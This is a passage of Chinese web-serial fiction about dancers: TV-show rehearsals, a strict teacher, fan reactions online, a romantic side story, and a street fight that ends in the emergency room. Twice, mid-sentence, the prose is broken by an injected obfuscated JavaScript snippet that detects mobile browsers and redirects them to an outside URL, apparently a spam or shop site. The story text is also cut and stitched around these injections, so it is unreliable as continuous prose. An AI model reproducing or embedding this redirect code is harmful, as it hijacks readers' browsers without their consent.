房间另一侧,正在自己热身的王思邈忍不住逗他们。方才被拉去采访,回来才知道阮柟柟他们那个屋空调坏了,一时腾不出别的排练室来,正好他的房间大,和阮柟柟又是同公司,就问他能不能用一间。既然是自家师妹,王思邈自然不能拒绝。可想着等会儿老师来了,要在他们面前排练,他多少有点不自在。在小柟面前,是怕丢脸,在晓希哥面前……他是不愿让他看见,自己现在已经业余成什么样子了。 经同门师哥这一提醒,阮柟柟也反应过来,这屋子里站着好几个摄像大哥还摆着好几个GoPro。景姐说过,360度的监视下,该说什么该做什么,都该是计算好的。 林晓希倒不介意那个,他本就不是艺人,这些年下来性格也有些随萧泽,该是什么样,就是什么样。只是他也发觉,思思这些年,的确变得太多了。从前偶尔从彦承那儿听说,就觉得他和当年附中那个小自己一年的学弟很不一样了。如今看到工作状态中的他,的确是开朗圆滑的像变了一个人。 ”阮——“ ”啊你叫我小柟就行,煦哥也这么叫。“ ”嗯好,“ 林晓希改口叫小柟,随手指着王思邈的方向,”你师哥的热身动作都很实用,咱们先跟着他做,把身体热起来。“ 莫名被cue到的王思邈忍不住后背一紧,只得往房间中央蹭了蹭,带着小柟一起做,心里却不停的祈祷他们房间的空调赶紧修好。 谢天谢地,热身之后晓希哥就开始帮小柟排舞蹈,王思邈得以自己在角落踏踏实实的练习。他拿出从前上学时跳过的作品来练,一点点找感觉。这么多年不练,功大不如从前。开始几遍,他跳的很吃力。后来不得不把原作改的简单一些,才磕磕绊绊的跳了下来。 等到小柟休息的功夫,这一支舞已经挺成样子的,小姑娘盘腿坐在地上,一个劲儿的感叹,”小煦哥好棒啊。“ 王思邈尴尬地笑笑,忍不住把林晓希叫到旁边,低声问,”晓希哥,你看这……看得过眼吗?“ 林晓希想了想,偏头问他,”听实话?“ 王思邈点点头。 ”那儿一会儿孔爵哥来了,别跳这个。脚底下太不利索了,他那个脾气,看了要生气。“ 王思邈牙齿摩挲着嘴唇,轻轻嗯了一声。其实不用晓希哥说,这么多年没好好练过,他一抬腿就觉得整个人都发沉,蹦都蹦不起来。 “别瞎想“,林晓希看他脸色不好,忍不住拍了拍他肩膀。”你不能这么比,我和彦承就是靠这个吃饭的,跳不好,说不过去。于你,它现在就是个爱好,尽力就好,别钻牛角尖。“ ”嗯,“ 王思邈揽过晓希的肩头和他轻轻抱了下,”谢谢。小柟就交给你了,带着她多闯几期啊。“ 六、 舞蹈排练的间隙,阮柟柟坐在地上休息。她平时少有这么大的运动量,才跳了一会儿,就有点应付不过来。房间的另一侧,煦哥好像从进来就没歇过。这会儿,他正在凳子上劈叉。是……她长这么大,第一次看见人在凳子上劈叉。 “林老师……” 她忍不住悄悄叫林晓希, “小煦哥他这样,会不会受伤啊,我看他,很疼的样子。” 林晓希抬头朝那边望了一眼,笑了。“没事儿,你煦哥是科班出身,我们小时候,都是这么练过来的。” 阮柟柟撇撇嘴,没再说什么。那个孔爵老师,看上去挺凶的,煦哥累的一身都是汗,他也没说让人歇一歇。这会儿还把人架在两个凳子上,看着就疼。她在平地上下叉,还疼呢。 “柟柟,那边空调修好了。“ 小助理上前跟阮柟柟说。 “哦好啊,我们赶快回去。” 想来自己在这里,旭哥没准面子上过不去。她连忙起身拉了林晓希从后门出去了。 房间里的人呼呼啦啦走了大半,王思邈咬着嘴唇,暗暗松了一口气。 “再松点“,孔爵从旁站着,皱着眉提醒他。“你要练就快点下,不练就起来排舞。一共四十八小时,咱们没时间浪费在这个上。” 明知道软开不是一时半刻能练出来的,这小子却硬是舍不得扔掉原来的动作。那是学生时期参赛的作品,他现在几斤几两,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239552|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能跳的出来。可这孩子就是犯倔,孔爵拗不过他又不好当着大家面发作,只得由着他去,也顺便让他吃点苦头。 王思邈双手撑着膝盖,眉眼紧紧锁在一起,冷汗顺着鬓角止不住的往下落。好久没这么耗腿,腿根的韧带撕裂一样的疼,可偏偏那么多“长枪短炮”架着,他拼了命的“表情管理”也仅只能让面目不那么狰狞而已。 “现在说不了你了是不是。” 孔爵轻叹了一声,走上前来。王思邈吓的心里一抖,人差点就从凳子上栽下去。 孔爵弯腰揽住他,另一只手扶在他后腿腿根上,轻轻按了下去。 “嗯……” 老师的身影遮在身前,王思邈一把拽住他衣摆,迟疑了片刻,终于忍不住将脸埋在了他肩头。他知道,老师是看他忍的难捱,故意帮他隔开摄像。 僵硬的筋骨像是少了机油的门页一样”吱嘎吱嘎“的一点点延展开,他能感觉出来,老师根本没怎么使劲儿。可不知道是太久没练还是这些年真的被惯坏了,他疼得几乎牙关打震,冷汗一波一波的往上涌。“老师……” 额头抵着老师的肩头,王思邈在只有师徒俩能听得见的小空间里,嗫嚅了一声,”轻点……“。 老大不小的人了,突然学会练功的时候撒娇了,是出息了还是越活越回去了? 孔爵不禁牵起嘴角,自己下手不知比从前轻了多少,这小子却在他怀里疼的止不住发颤。孔爵紧了紧握着他胳膊的手臂,故意逗他,“硬要来参加节目的是你,非要把从前参赛的作品拿出来跳的是你,要压腿现在又不肯下功夫的也是你。你说说,你哪一件事儿肯听我的了,嗯?” 老师轻笑着的气息吹在耳边,王思邈被说的无地自容,只能咬着嘴唇尽力放松自己,握着老师胳膊的手,不禁越攥越紧。 “行了,起来吧。真要是伤了,什么都不用跳了。” 孔爵松开手站起身来。王思邈借着他的手从凳子上下来,只觉得眼前一阵阵发黑。 “思煦……你…“ 顾小源在旁边看了好一会儿,终于忍不住出声。王思邈借着刘海的遮挡用力给她使了个眼色,“没事儿,这才哪儿到哪儿。我踢完腿就歇。” 顾小源不再多说什么,只看着思思自己颤巍巍地走到把干旁踢腿。孔爵只当他是腿疼,没有多想。这孩子现在的体力确实让人着急,才练了个把儿小时小脸儿就白了。 可眼看着把干上的人越踢脸色越差,孔爵渐渐收起眉头,不免心疼。他们艺人的生活,忙又不规律。之前听他自己说,剧组忙起来的时候,好几天才能睡上十几个小时,跑通告的时候,更是几乎每天都要赶飞机。这么想着,孔爵又不禁怪自己对这孩子太苛责了。 “行了,别踢了,过来歇会儿。” 孔爵喊他下来,思思应了一声,朝他望过来的眼神有点迷离。 “思思?” 孔爵觉着不对,连忙上前扶他。思思一把拨开他的手,突然转头靠着把干,不停的干呕起来。 “思思!” 思思干呕了一阵什么都没吐出来,人挂在把干上站都站不住。孔爵看他不吐了连忙扶着他躺下,顾小源眼疾手快提前在地上给他铺了两层垫子。 “怎么样?” 孔爵抹开他湿漉漉的刘海,额头上冰凉凉的一片。 “没事儿,歇一会儿就好了。” 王思邈侧过身,费力扯出个笑容,整个人却紧紧蜷成一团,手攥成拳头死死顶着胃。 “胃疼?” 这么多年来,思思都没得过什么大病,孔爵从没见过他难受成这个样子,心里越发焦急。王思邈不禁闭上眼,恍惚中尽全力稳着声线,“我可能就是有点低血糖,歇一会儿…就好了。 ” 。“他这几天活动特别赶,昨天连夜的飞机回来,又晕机吐了好久。下飞机到现在,还什么都没吃过呢。” 一旁的顾小源看的心里越发难受,直接跟孔爵说了实情 “胡闹!硬挺着就挺成这样?“ 孔爵生气,气思思这孩子硬瞒着不说,也气自己什么都没看出来,拉着他练了这么久。 “小源,麻烦你给他接杯温水,放点糖。“ 顾小源点点头起身去弄。这一会儿,节目导演和工作人员听到消息都急忙赶过来了。这才第一天录制就倒了一个,他们也吓的够呛。 “没事儿的,是我昨晚没睡好,人有点虚,别担心。” 王思邈不愿意给节目组惹麻烦,强撑着坐起来。眼前黑乎乎的一片还闪着星星,他只能装着没事一个劲儿的安慰导演。“真没事儿,你们放心吧,我要是一会儿还不好,再去医院也来得及。“ 聚过来的人越来越多,孔爵有心说你们真的担心就赶紧起开让他躺下休息。可理智上,他还是渐渐退出“包围圈”把扶着王思邈的位置让给了打水回来的顾小源。 “要不大家先散了,咱让他躺一会儿吧,一会儿就好了。” 顾小源把吸管凑到思煦嘴边,顺便让众人先都散开一点。搞这么大阵仗,明天上新闻就不好说了。 还算有个明白事儿的。孔爵站在圈外,看着顾小源经验老道地把事情安排得明明白白,总算松下一口气。 “孔老师,跟你说两句?” 导演也从“包围圈”中退出来,拉了孔爵到一旁说话。他不张嘴,孔爵也知道他想说什么。 “孔老师啊,我知道您是严师,以前教过思煦,心里有数。不过咱们这个节目,还是有些许不一样的,思煦现在是艺人,这个分寸,您得重新拿捏一下。” 导演说话很客气,却也句句都在点子上。孔爵没说什么,只点点头算是答应。 王思邈靠在墙边,这边配合着随行医生检查,眼神却不自觉地朝旁边看去。眼看着导演去找老师说话,他恨不得立刻蹦起来去拦下来。这根本就不关老师的事! 更何况,他从认识老师那天起,他在自己眼里就是个因为强大所以能“我行我素”的人。专业过硬,为人妥帖,所以他说什么做什么从不受他人的指点。可就是这样的老师,现在要为了他受别人的数落。他一想到工作人员这会儿心里会怎么埋怨老师,就恨不得甩自己几个巴掌,他不能让老师,替自己受委屈。 “小源姐。” 他偏过头,因为刚才一阵干呕而湿漉漉的眼睛无辜地看向顾小源。顾小源自然领会了他的意思,忍不住叹了口气,翻了他一个大大的白眼。“喏,自己拿着。“ 王思邈接过水杯,嘴角翘起个放心的笑容。 顾小源陪在思煦身边这么多年,说是助理,可很多事情很能独当一面。孔爵不知道她跟节目组说了些什么,总之事情的结果最终就是敬业的思煦连夜赶来录制节目,又因为在舞蹈上对自己严格要求认真练习而体力不支晕倒在现场。 节目热度,人设,都有了。 皆大欢喜。 尾、 谁也没有想到,这个当初公司上下都没怎么看好的节目才播出第一期,就在网上炸开了锅。 阮柟柟如景颖预想的一样,扎着丸子头露着马甲线练舞的视频不知道圈了多少粉。和林晓希温柔缱绻的一舞也让人眼前一亮。 而思煦呢?仅仅一个晚上,微博热搜榜上前三的话题都与他承包了。 ”天呢思煦哥哥好帅啊!!! 一直知道他是舞蹈生出身,没想到跳的这么好!!!“ ”啊啊啊啊啊啊啊放开我,我要为思煦疯狂打call!“ 超话主页清一水的都是”失语式“追星的迷妹。这倒也不怪他们,人人都知道王思煦是军艺舞蹈系出来的,可他入行后只在公众面前跳过一次,还仅只是在节目上意思意思。粉丝们挖门盗洞地想翻学生时期的视频,也都少得可怜。想看王思煦认认真真的跳一次舞,几乎成了所有粉丝的”意难平“。 如今这份”意难平“,终于被平上了。 与思煦一起上热搜的,还有孔爵。更准确的说,是”绝妙CP”。是,才华横溢的粉丝,把思煦出道前的名字和孔爵连在一起,绝妙CP应运而生。 “天呐,小哥哥的老师好凶啊,小哥哥都那么累了。” “不会啊,我觉得老师其实很温柔呢。一定知道思煦害羞怕镜头,才帮他挡的。” “啊啊啊好心痛,小哥哥这样压腿真的不会受伤吗,老师太严厉了。” “舞蹈生路过表示我们都这么练。控制好力度不会受伤,但是……很疼“ “…………” “…………” 景颖坐在自家办公桌前一页页地翻着微博,面上看不出喜怒。夜已经深了,她端起桌上已经有些凉了的咖啡一饮而尽,而后不禁用指节揉了揉额头。半晌,她拿起手机给思煦发了个微信,”刚刚节目播出不错,今天记得发微博。“ —————————————— 晚上十一点半,洗好澡的孔爵终于得以躺到床上。晚上思思叫了晓希和彦承过来,几个人看电视又点烧烤,闹到十点多。孔爵送走了他们又收拾了一通,这一会儿才闲下来。他随手抄起床头的iPad,熟悉的找到最后一页的微博app. 一闪而出的首页上,清一水儿的都是思思的微博,最新一条,发自半个小时之前。 ”今晚在老师家蹭饭顺便一起看播出。听说里面有个人很凶,你们怕吗?“ 配图是一张搞怪的自拍和两张节目中排练的照片。孔爵点开其中一张,黑白的色调下,思思腾跃在空中,发丝也随之飞扬。 孔爵看了很久。 他想到很久很久以前,那个被阳光笼罩的午后,那个才到自己腰际的小孩儿,恬然睡在练功房的地上。那时的他,拨着少年的额前的碎发,轻声的说, ”很期待看你,飞起来的那一天呢。“ 。。。。。。 希望他的一切担忧,都是多余。 番外之番外 周六晚上,林晓希刚一踏出浴室,就被彦承长腿一晃,一个”腿咚“卡在了墙边。 彦承一手架着自己膝盖,一手撑着墙面,眼神里满是威胁,“林老师,我也会劈叉,有用吗?” 林晓希盯了他半晌,终于偏过头,忍不住轻笑了一声。 “呿~~” ”……有用!“ 下一秒,骤然低沉的声音像是带了魔力,彦承一晃神,只觉得脚下一空,被人连人带腿的抱起来,直接扔到了床上。 “我——” “别动!” 彦承被摔的眼花缭乱,人还没来得及撑起来,身侧的床突然陷下去。一个黑影骤然罩下来,将他又扑回了床上。 “我问你,这节目谁非让我去的。” 林晓希撑在他shen上,反手握着彦承的小腿ya在他耳边。 是,他钟彦承这个“腿咚”的姿势从墙边到床上都还没来得及收回来。 钟彦承不自觉的咽了下口水,眼前人半长的头发垂下来,将脸遮的晦暗不明……他不自觉的有点紧张。 “是,是我让你去的。我可没让你勾搭小姑娘。” “嘴硬,得罚。” 眼前人的声音越发低沉沙哑,嘴角似是牵起一丝坏笑,整个人猛的ya了下来。 彦承一下子闭上眼…… 55. 要闯祸了 这一日午后,”两大首席在排练楼门前的台阶上晒了快半个小时的太阳“ 险些成为了首都歌舞团的一景。直到萧泽口袋里的手机没完没了的震动起来,两人才不得不从”提前体验敬老院生活“的闲适中回过神来。 ”喂?“ 萧泽看到屏幕上何家齐几个字,直接就接起来了。 也不知道是萧泽听筒放太大声,还是自己耳朵太灵,孔爵懒洋洋地撑着手肘靠在台阶上,二人的对话却一字不落的落在耳朵里。 ”师兄,小凡给陶乐钦他们班主任打电话了。真让你说着了,他这礼拜确实请假,好像是母亲生病了。我又去他们寝室转悠了一圈,他室友说他今天上午才回来,我看行李还在桌子上呢。“ ”好,我知道了。辛苦你俩了。“ ”应该的。那师兄你忙吧,咱明儿见。哦对……就是那个……既然是误会,您劝劝孔师兄哈?“ 萧泽不禁回头看了一眼孔爵,笑了,”行,放心吧。明儿见。“ ”都听见了?“ 挂断电话,萧泽偏过头用腿撞了撞他。孔爵冷哼一声,脸上仍不见放晴。 ”那能说明什么?既然知道要请假有可能影响排练,为什么不提前沟通。就算今天没有临时改变计划,他觉得自己两天就能练好了? 这些都不算,怎么就他的性子那么傲那么别扭。自己该练的没练好,别人还没说什么,他先把难听的话都说尽了。今天要不是我拦着,是不是又连着张凡跟何家齐一起损了?“ “你‘拦’着?” 孔爵被噎的一顿,不禁瞪了他一眼,“那都是轻的!就是惯的,这要是我学生,结实揍一顿什么毛病都没有了。” “行了……消消气吧。” 孔爵说的其实都在理,陶乐钦今天这些作为,萧泽自己也不是不生气。可是能有什么办法,这孩子个性太强,不是一时半刻也不是谁能轻易改变的。 “你坐着吧,我上去看看。” 萧泽说着就要起身,孔爵眉头一立,一把拽住他胳膊。“看什么看?你什么时候也这么好脾气了?哄承儿一个还不够?” 萧泽虽然待人温和,在舞蹈上,可是从不姑息。 “哎!” 萧泽忍不住叹了口气,“你真气糊涂了?今天这要是思思,晓希,哪怕是彦承,你怎么罚怎么骂我都不管。” 再多的话萧泽没有说。孔爵有些气闷地白了他一眼,甩开了手。他自然明白,陶乐钦毕竟不是自家学生,他们有资格提点,没义务教训。这个舞剧不是他的,也不是萧泽的。只要一天还定着有陶乐钦的角色,他们就得保证排练正常进行。 孔爵有些心烦地站起身,“我去文导那儿练,你好了就过来!” 孔爵甩手走回排练楼的背影仿佛还带着烦躁的小火苗,萧泽在原地看了片刻,不觉失笑。他和孔爵识于少年时,这些年来孔爵虽然惯常是潇洒不羁的脾性,却始终能让人隐隐感受到因为年长几岁而带来的可靠和威严。可今天,萧泽怎么看怎么觉得——他那周身的“小火苗”都透着孩子气。 ————————————————— 门口响起均匀的三下敲门声,陶乐钦迟疑了一下,说了声“请进”。孔爵是不会敲门的。 “萧学长……?” 门应声而开,来人是萧泽。陶乐钦突然想起方才孔爵的话,不禁愣了一下,他才练了半个小时还不到。 “叫学长就行,不用太客气。“ 萧泽换了鞋进来,陶乐钦默默动了动有些僵硬的手指,换上了一贯的扑克脸。他与萧泽接触不多,在此之前唯一一次见面还是高考后给林晓希庆功那次。萧泽与人们形容的一样,优雅,温和,言谈举止都让人觉得十分舒服。可那亲切的外表下,却又始终透露着令人不愿冒犯的气场。 “刚刚排练有几个小地方,我跟你说说。” 陶乐钦一愣,没想到萧泽先说的是这个。 “哦好…” 他后撤了两步,“那我从头开始跳?” 这一遍,陶乐钦跳的又不一样。方才被他扔掉的好几处组合,都捡了回来,虽然磕磕绊绊,倒也是坚持做完了。还有几处,同方才排练时一样,按他自己的心意跳的。 萧泽没有多说,只是把早些时候记在心里的几个地方给他提了提,陶乐钦也算都信服。末了,才又提醒他,“明天排练,还是先跟着原排。有什么想法,大家可以一起拿出来讨论,这也是对编导工作的尊重。” 陶乐钦知道自己不占理,有些不自在地与萧泽错开眼神,极轻的应了一声。 他不是胡来的人,如果时间充足的话,他多半也是会按照张凡发来的资料练习。只是才刚刚回来就临时被通知排练,他又不想把请假的事情拿出来说,匆忙之下只能把还没来得及练好的动作换掉。于是总归不改都改了,便索性把自己的想法一股脑的都加了进去。再后来,跟孔爵杠到了那个地步,已经没有转圜的余地了。 ———————— 萧泽没有在陶乐钦那儿呆很久,帮着他看了几个关键地方便回文导那边找孔爵排练了。 他和孔爵认识十几年,说起来还真是第一次合排舞剧。都是一跳起舞眼里就没有别的的人,又赶上今天孩子们不用他们照应,两个人全情投入,直接练到了晚饭时间。这样好像仍不尽兴,孔爵叫了外卖,俩人潦草的吃了一顿,又埋头起来练,就这么一直跳到了快十点。 直到终于都累了,这会儿才各自瘫坐在地上,汗都顺着下巴止不住的往下滴。孔爵抹了把脸,将额前汗湿的碎发都捋了上去,不禁撑起胳膊调笑一旁同样大喘气的萧泽。“哎,年轻就是不一样啊。” 回国到现在,他还是第一次跳的这般酣畅淋漓,有时候一晃神儿,就觉得好像还是自己在从前舞校里念书的日子。 萧泽笑着斜了他一眼,“你这就是典型的得了便宜还卖乖了啊。” 这个孔大少,排练完还嫌不够累,非拉着他比跳。萧泽也来了兴致,跟他对拉了十几个横飞燕,终于还是自己先落了拍,输了。 “那不然你说呢。小时候那会儿在舞院,都是卯着劲儿练,怎么狠怎么练,天天惦记着涨功。现在好了,蹦多了怕闪着腰,跳多了怕抻着腿,真是……“ 萧泽跟着点点头,“嗯,练多了怕劳损旧伤,练少了怕留不住状态。说白了,就是想尽力延长艺术寿命。李老师四十岁还能在上台跳二十岁时候的作品,咱们得向前辈看齐。路还长着呢,现在就开始伤春悲秋,太早了。” “那我这算算至少还得十年,那可算了,太艰苦了。” 孔爵歇够了站起身,脱了舞鞋随手一折塞到裤兜里,“这传承的重任就交给你吧。” 萧泽借着他伸过来的手也站起身,”我看你就是‘言语上的巨人,行动上的矮子’。刚才那能蹿上房的弹跳,可不像你自己说的那么没出息。“ “还‘蹿上房’……我是猴啊……” 两个人相伴着走出练功房一起朝停车场走去。半路上孔爵一摸裤兜才想起来手机没了,仔细想了想,好像是忘在下午那间大排练厅了。 “我手机落排练厅了。你先回家吧,我自己回去拿。” “没事儿,一起吧,不差这一会儿。“ 萧泽陪他一起回去,两人才走到走廊口,就看见排练厅亮着灯,门还关着。 这个点……萧泽和孔爵对视了一眼,先两步顺着门玻璃往里望进去,果然,陶乐钦还在里面练。孔爵光看他表情也猜到是谁,便直接上前,敲门。 ”孔……萧学长。“ 陶乐钦拉开门,显然也是一脸诧异。他倒没真傻到以为这个点俩人是来检查他进度的,可这个时间,他们…… ”我手机落在架子上了,过来拿一下。“ 孔爵照例是挂上一张雷公脸。陶乐钦没说什么,只是稍微侧下身让他进来。孔爵快步走进去,门口只剩下萧泽和陶乐钦。萧泽低头看了眼手表,已经十点半了,”舞团的排练楼十一点关门,别误了时间。你们宿舍,这会儿也已经锁门了吧,宿管没查寝吗?“ 陶乐钦练了一头一脸的汗,听了这话,也才反应过来。飞快的回头看了眼墙上的钟,早过了宵禁了……他练得忘了时间了。 ”要不要我们送你回去,跟宿管老师说一声。” 孔爵拿了手机出来,正听到萧泽说这个,不明所以地皱起眉。 “没关系,我自己可以。” 陶乐钦连忙拒绝。反正宿管老师不可能真的不让他进去,虽然明天找班主任是肯定的了。 萧泽点点头,没有强求,嘱咐了他早点回去,以后还是注意时间。 “哦,对了”,萧泽又想起什么似的掏出手机。“你还没有我的联系方式吧。这次舞剧人手多少有些不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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席间还发生了件“大事”,就是文导把“干亲”的事情跟晓希爸爸重说了一次。北方认干亲不如南方那般正式,当时有了这个决定,她只能找到晓希奶奶,便跟她老人家说了。如今晓希爸爸回来,她总归还要好好再问一次。 光是这些年对儿子的培养和照顾,哪有不同意的道理?林暮青欣然同意,饭后还特意让晓希好好敬了杯茶。然后让大家都大跌眼镜的就是,文导还真从身后掏出来个厚厚的红包。林晓希一看到瞬间头都大了,这怎么能收。 可惜在这种情况下,即便都是文艺界能留的下姓名的人,也不能免俗的推搡起来。结果自然是文导仗着干妈兼老师的身份硬让晓希收下了。这厚厚的一叠,让浑身上下也没个兜的晓希实在是没处放,只得随手塞在身后的凳子上。 彦承的眼神,追着他别别扭扭藏在身后的手,满脸都是看好戏的坏笑。 “怎么着,分你一半?” 晓希抬眼看到他的表情,不禁逗他。 “谁要你那红包”,彦承翻了个白眼,“林叔叔做的提拉米苏再分我一半。” 晓希知道彦承说的是自己碟子里那块,可大人们都在,他们也不敢太放肆,只得起身去厨房又切了一块回来。 这一晚上,彦承简直是过年了。见到了一周未曾见到的晓希,尝到了林爸爸的好手艺,还名正言顺的跳过了晚功。于是幸福到头的钟小少爷,咬着勺子又动起了脑筋。“萧泽哥,我跟晓希想去看电影。” 萧泽眉间微微一皱。承儿自小在萧家长大,后来又看在彦霖的眼皮子底下,可从来没人教他这么没礼貌的事。 “学长”,晓希也没想到彦承突然来这么一出,只是看着学长脸色不善,便连忙出来打圆场。“是我想去的,这个电影我们俩等很久了,今天最后一天,明天就下架了。” “这看完都几点了?” 萧泽看了看墙上的钟,语气里却松动了些。彦承一瞧有戏,立马抓准了机会,“我们现在就去,不会太晚的。反正一会儿你去送文导,我自己回家可以的。” “萧老师”,林暮青看着彦承这孩子挺喜欢,何况他们大人聊天,拽着孩子们陪着也没意思。 “让他们去吧,看完让晓希送他回去。” “那不然这样”,萧泽想了想,“您不介意的话,他们看完电影,就让晓希一起去我那儿住。正好明天他老师有事,叫我帮着带一天,也省得他明早再跑一趟了。” “也行。就是又要麻烦你了。”林暮青知道之前晓希集训在萧泽家住过几个月,便也没过多拒绝。 彦承一看这事儿就这么成了,喜不自胜地扬起眉毛。好在萧泽刚才那几眼没白瞪他,他忍着飞奔出门的心情老老实实地跟晓希爸爸和文导告别,才努力压着步子“逃”出门去。 56. 打架了诶 电影快十一点才结束,彦承和晓希为了彩蛋一直等到最后。出来的时候,这一场的观众已经散的差不多了。商场都已经关门,他们顺着步行街到路口去打车,街上的人流比来的时候少了许多。 彦承还有些沉浸在电影中:这一部他念了很久,一直不敢上网怕被剧透。本来以为看不到了,好在在下映前的最后一天赶上了。 “Giesle不死就好了,我还挺喜欢她的,而且她和Han才刚成。” 彦承有些遗憾地叹着气,Giesle金发又高挑,从头到脚透着股飒爽的劲儿,可惜后面看不到了。 “嗯,我也挺喜欢她的。” 林晓希轻声应着。他缓着步子与彦承稍错开半个身位,这么从斜旁默默看着他。路灯下,认真回忆剧情的少年的神色,生动又飞扬。说不出的情愫,在心底晕开成一片。 这算是他们第一次正式约会吧? 相识到现在,他们的日子里都是学习、练功,像平常小情侣般单独出来,好像从来没有过。 “诶,你听我说没有?” 彦承讲了半天,听着旁边没了声音,侧过头,这家伙正直直望着自己。他不禁摸了摸脸,“看啥呢?” 林晓希也不知道嘴上怎么突然没了把门的,笑着逗他,“看你好看。” 彦承不禁停住了脚,晓希每次逗他时,嘴角都歪歪地牵起,带着些狡黠的意味。此时此刻的他站在树下,路灯透过树叶在他脸上洒下一片斑驳。彦承心中一动,忍不住上前一步。 “你——唔……” …… 眼前的光线,忽然暗下又转明。林晓希怔了片刻,唇上留下别样的感觉。而眼前方才还”胆大妄为“的人,这会儿,脸也红成一片。 ”欸! 你看~ 前面那树下是不是小情侣儿。“ 不知打哪儿陡然岔出这一句,轻佻的语气里带着些醉意。两个孩子不防有人,给吓得一机灵。朝着声音望过去,才看见是几个人拎着易拉罐,勾肩搭背地朝这边走着。林晓希有些防备的拽住彦承手腕,把他往身后带了带。 ————————————————————————— 陌生的街口,两个半大小子拖着沉重的脚步奔来,终于体力不支而停下,靠着邮筒不停喘着粗气。 “歇一会儿吧,应该没事了。” 架打到一半遇到夜晚巡逻的片警,晓希顾不得许多拉起彦承就跑。虽说这种时候可以寻求警-察保护,可这种时候,他也不想因为夜晚斗殴被带回派出所。 ”没事吧?“ 终于倒过口气的晓希将彦承上上下下仔细地打量了一番,脸上似是有些红肿,昏暗的灯光下看不大清。 ”没事……“ 跑的太急,嗓子干的冒烟,彦承弓着腰,一个劲儿地想干呕。”我没事,你——嘶!“ 刚抬起手,小指猛地一抽,他不禁一哆嗦。 晓希心里一紧,连忙把他拉到路灯下。右手四个骨节都红着,尤其小指指根的地方似是微微肿了起来。 ”你试试看能不能动?“ 彦承颤着手指轻轻动了一下,眉头不禁锁得更紧了,”能,没事儿。“ 晓希的心放下一半,拉起彦承就去路边打车。 ”去医院。“ ”哎不行不行。“ 彦承缩着胳膊往后退,”不能去医院,会被我哥和萧泽哥知道的。“ 林晓希看他挂了一脸的彩,不禁拧起眉头,”不去这也不是能瞒住的事儿。“ ”瞒不住也得瞒。“ 彦承咽了下口水,当街和小混混打架的事儿,想想就够出格的了,他不敢想哥知道了会怎么样。 ”先去医院。“ 晓希不理他的“鸵鸟”精神,拉着他就往路边走。彦承正要再躲,忽然眼睛一闪,一把把晓希拽了过来。”你等下。“ 方才忙着逃跑,晓希又有刘海遮着,他几乎没注意,被啤酒罐砸的那一下,晓希额角直接破了个口子,血迹从额头到鬓角凝成一条印子。 ”去医院。“ 这次两人调换了角色,彦承挥手拦下一辆空车,拽着晓希直接就上了车。 ———————— 十字路口。红绿灯由红变绿,排在首位的黑色SUV倏地冲了出去,陡然拔高的引擎声引得午夜零星的路人纷纷侧目。 萧泽也被这突如其来的“推背感”晃了一下,不禁拍了拍他臂弯。“别急。晓希是稳当孩子。他说没大事儿就不能有假。” 钟彦霖点点头,长出了口气,踩在油门上的脚稍稍松了些力道。 晚上从林老师家回来,想着两个孩子去看电影,他们也有了兴致。便在客厅放了个老片子,一边看着一边等晓希和承儿。谁想看着时间差不多,人没回来,却等到了晓希的电话。说是与路人发生了些摩擦,受了点小伤,不严重,但还是准备去医院看看。 什么样的路人,什么样的摩擦,会受要去医院看的伤?萧泽的心一下子提到了嗓子眼,生出许多疑问,可他也知道三两句讲不清楚,只能匆匆挂了电话,立刻叫了彦霖出门。 停好车,两人一路小跑进了急诊楼。 无论几点,急诊总是不消停的,眼见的都是发烧的孩子和直不起腰的大人。伴随着身后一阵嘈杂和阵阵的“让一下”,萧泽险些让担架车刮了。他闪身让出路来,只见车上趟着个满身血迹的人,不禁一下子握紧了彦霖,努力平复了一路的心一下又紧了起来。 “没事。” 彦霖安抚地拍拍他的背,“走吧。” 两个十六七岁的男孩并不难问,他们到护士站一打听,那边就给指了方向。穿过长长的走廊,尽头是一个大厅,两边都是用帘子隔开的小处置“室”。彦霖数着右边第三个,撩开帘子,正是晓希坐在床边,裸着的上身看得出几处淤青。 “晓希!” 两人连忙迎了上去。晓希看清人也要下床,却被医生按住了。 “你们是家属?到底是病房,也不能这么闯啊。” 大夫年纪不大,看着是个二十八九的小伙。 “是,这是我们弟弟。对不起,刚才着急,一时忘了。” 彦霖和大夫道歉。这都是帘子也没有个门,他确实没想到。仔细想想,确实也不妥,这要是撩错了,里面是个姑娘,怎么办。 小大夫这一晚上接待了好几个奇葩病人和奇葩家属,心里有些不顺,说话也冲。看了下两人,倒都像是有素质的,语气便也软下来了。“另一个呢?” 萧泽这才反应过来还没见到承儿呢。“另外一个也是。” “哦”。大夫点点头,看了下病历,“钟彦承是吧。在放射室呢。” 放射室?钟彦霖的心一下子提了起来。晓希连忙解释,“是手指有些挫伤。大夫说骨头没事,但还是想拍个片子放心。” 彦霖点点头,可看着他额头和身上的伤,眉头更不见舒解。 “你过去看看吧,这儿有我呢。” 萧泽叫他先去,彦霖答应着,忍不住叹口气,拍拍晓希肩膀,撩帘子出去了。 “衣服穿上吧” 小大夫收了听诊器,侧回身在桌上写病历。晓希拎起衣服,迎面便是一股酒味。萧泽拿过来一看,上面好几块污迹,便扔到一旁,脱了自己里面的T恤。 “穿这个。” 萧泽重新穿上外搭把扣子都扣了起来,看着晓希还接着衣服发愣。从晚上一见面,这孩子神情就格外沉默,萧泽只当他是吓到了或者担心闯了祸,没有多想。“快点,一会儿着凉了。” “嗯” 晓希回过神,默默把衣服套上了。 “来家属,说一下病……情。” 小大夫看着萧泽,突然卡了壳。方才没有注意,这会儿看着……总觉得在哪儿见过这个人。萧泽快速扫了眼他胸前的名牌,“许……医生?” “哦”,许嘉余清了清嗓,“头上破了个小口子,患者自述是啤酒罐砸的——” 萧泽皱紧了眉。 